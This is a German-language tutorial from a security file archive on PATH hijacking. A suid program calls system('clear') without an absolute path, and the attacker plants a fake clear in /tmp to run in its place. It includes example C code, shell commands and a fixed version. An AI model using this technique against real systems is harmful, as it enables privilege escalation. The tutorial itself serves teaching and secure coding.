exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Whitepaper Called PATH Attacks

Whitepaper Called PATH Attacks
Posted Sep 3, 2010
Authored by fred777

Whitepaper called PATH Attacks. Written in German.

tags | paper
SHA-256 | 8a7171d2db605792d0b33902b06e2133656e7900ddfe53395a9f9b3645604ffa

Whitepaper Called PATH Attacks

Change Mirror Download
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*******************************************************
# APPSECURITY DOCUMENTATION #
# -------------------------------------- #
# Path Attacks #
# -------------------------------------- #
# #
# #
# written by fred777 [fred777.5x.to] #
# #
*******************************************************
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--[0x00]-- Intro
--[0x01]-- Knowledge
--[0x02]-- Exploiting
--[0x03]-- Secure Example
--[0x04]-- Finito

********************************************************
##################################################

--[0x00]-- Intro

Willkommen zu meiner kleinen Description über PATH Attacks.
PATH Attacks sind eine Art Angriff auf unsichere system() Aufrufe.
Meistens gesehen in kleinen Programmen, ja auch ich habe sie benutzt *g

########################################################################

--[0x01]-- Knowledge

Stellen wir uns mal vor, wir haben nun ein solches Programm gefunden, welches
am Schluss des Codes immer ein system("clear") benutzt, damit die Konsole auch wieder schön sauber ist.
Hier mal ein kleiner Beispielsource in C:

#include <stdio.h>

int main()
{

printf ("Firmenverwaltungssoftware 1.0\n");
printf ("Eep, hier wird verwaltet...blub\n");
system("clear");

}

ubuntu@ubuntu:~$ gcc -o prog prog.c
ubuntu@ubuntu:~$ ./prog
...

Man sieht hier am Ende ein System() Aufruf welcher clear aufrufen soll.
Nur wo liegt das Problem dabei?
Ganz einfach, wenn man mal nachdenkt woher system() weiß, wo clear
letztendlich liegt, nämlich in /usr/bin/clear.
system() macht nichts anderes als in den Verzeichnissen welche
in der PATH Environment Variable angegeben sind, zu suchen.
Schauen wir uns doch einfach mal den jetzigen Inhalt von $PATH an:

ubuntu@ubuntu:~$ $PATH
bash: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:

So hier sieht man, dass der System() Aufruf in:
/usr/local/sbin:
/usr/local/bin:
/usr/sbin:
/usr/bin:
/sbin:
/bin:
/usr/games:
nach "clear" sucht, und es letztendlich in usr/bin: findet.

########################################################################

--[0x02]-- Exploiting

Nun kommen wir zum eigentlichen Kern des Papers, wir verändern einfach
den Inhalt und leiten den Aufruf zu unseren Gunsten um, das geht mit export:

export [Var]=[Verzeichnis]

Zuerst einmal erstellen wir aber ein eigenes Clear welches später anstatt
des Unix-Clears ausgeführt werden soll, für den Anfang reicht ein normales printf in /tmp :>

#include <stdio.h>

int main() {

printf("\n");
printf("Your 0verl33t Shellcode");
printf("\n");

}

ubuntu@ubuntu:/tmp$ gcc -o clear clear.c
ubuntu@ubuntu:/tmp$ ./clear
..

Klappt auch so weit ;)
Nun kommt unser oben schon erwähntes export an die Reihe, dafür
switchen wir wieder zu unserem "prog" ins Verzeichnis:

ubuntu@ubuntu:/$ export PATH=/tmp:
ubuntu@ubuntu:/$ $PATH
bash: /tmp:: No such file or directory

Wir merken schon, ein normales ls -l schlägt fehl..
Wunderbar, nun sollte system() in /tmp suchen und unser clear-programm finden

ubuntu@ubuntu:~$ ./prog
Firmenverwaltungssoftware 1.0
Eep, hier wird verwaltet...blub

Your Shellcode <-----

Ohne Privis zu droppen führt jetzt das Programm (suid root) unser Clear aus..
Hier nur ein printf, später vielleicht eine Shell?...

########################################################################

--[0x03]-- Secure Example

Wir wollen aber nun unbedingt ein clear ausführen am Ende das Programms,
welches sicher ist, dafür müssen wir nichts weiter machen als den absoluten
Pfad anzugeben, welcher wie wir wissen /usr/bin/clear ist..

#include <stdio.h>

int main()
{

printf ("Firmenverwaltungssoftware 1.0\n");
printf ("Eep, hier wird verwaltet...blub\n");
system("/usr/bin/clear");

}

ubuntu@ubuntu:~$ gcc -o prog prog.c
ubuntu@ubuntu:~$ export PATH=/tmp:
ubuntu@ubuntu:~$ ./prog
*funktioniert..

Klar gibt es noch einige Lösungswege, auch außerhalb von system(), dies sollte
aber eher als kleine Einführung dienen. Wichtig auch, dass jeder User seine eigenen
Environment Variablen hat. Taucht so ein Fehler auf, sollte der Angreifer schon
Zugang zu einem Account haben und das Programm mit Root Rechten ausgestattet sein.

########################################################################

--[0x04]-- Finito

So ich hoffe als kleine Erklärung hat das gereicht, ihr könnt ja selbst mal
was nettes basteln wie eine Remote Shell, oder was auch immer....

fred777.5x.to

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close